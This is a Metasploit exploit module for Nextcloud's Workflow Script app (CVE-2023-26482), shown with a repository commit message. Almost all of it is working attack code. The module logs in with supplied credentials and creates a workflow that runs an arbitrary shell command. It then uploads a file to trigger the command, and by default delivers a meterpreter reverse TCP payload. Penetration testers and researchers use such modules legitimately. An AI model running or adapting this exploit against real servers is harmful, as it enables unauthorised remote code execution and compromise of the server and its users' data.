Files
metasploit-gs/modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
T
Valentin Lobstein f41eda1128 Add GHSA and OSV reference type support
Add support for GHSA (GitHub Security Advisories) and OSV (Open Source
Vulnerabilities) as structured reference types in Metasploit modules.

Convert 49 hardcoded GHSA URLs to structured ['GHSA', 'GHSA-xxxx'] format
across existing modules, and add support for repository-specific GHSA
references with an optional third parameter ['GHSA', 'GHSA-xxxx', 'repo'].

Update reference validation, module validator, and info_fixups to handle
the new reference types correctly.
2026-02-09 15:17:23 +01:00

230 lines
6.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
def initialize(info = {})
@token = nil
super(
update_info(
info,
'Name' => 'Nextcloud Workflows Remote Code Execution',
'Description' => %q{
This module adds workflows as an authenticated user
which can only be created by administrators by design.
If the app "Nextcloud Workflow Script" is installed it
is possible to generate a workflow that executes commands.
},
'License' => MSF_LICENSE,
'Author' => [
'Enis Maholli', # Discovery
'arianitisufi', # Discovery
'Armend Gashi', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['GHSA', 'h3c9-cmh8-7qpj', 'nextcloud/security-advisories'],
['CVE', '2023-26482']
],
'Targets' => [
[
'nix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'Privileged' => false,
'DisclosureDate' => '2023-03-30',
'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def parse_token(res)
return if res.nil?
if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
else
print_error('token not found')
nil
end
end
def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = parse_token(res)
fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?
data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
end
def request_token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'csrftoken'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = res.get_json_document['token']
fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
end
def create_workflow(operation)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
'method' => 'POST',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'vars_get' => { 'format' => 'json' },
'data' => {
'id' => -1743078702939,
'class' => 'OCA\\WorkflowScript\\Operation',
'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
'name' => '',
'checks' => [
{
'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
'operator' => 'matches',
'value' => '/.*/',
'invalid' => false
}
],
'operation' => operation,
'valid' => true
}.to_json,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
json_data = res.get_json_document
flow_id = json_data.dig('ocs', 'data', 'id')
flow_id
end
def upload_file(filename)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
'method' => 'PUT',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
end
def delete_workflow(workflow_id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
'vars_get' => { 'format' => 'json' },
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'keep_cookies' => true
)
end
def delete_file(user, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
end
def check
# For the check command
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
flow_id = create_workflow('sleep 1')
Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?
delete_workflow(flow_id)
Exploit::CheckCode::Vulnerable
end
def exploit
# Main function
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
end
def execute_command(cmd, _opts = {})
print_status('Sending payload..')
@temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
@flow_id = create_workflow(cmd.to_s)
fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?
print_good('Workflow created')
upload_file(@temp_filename)
end
def need_cleanup?
defined?(@temp_filename) && @temp_filename
end
def cleanup
super
return unless need_cleanup?
print_status('Cleaning up')
delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename
@flow_id = nil
@temp_filename = nil
end
end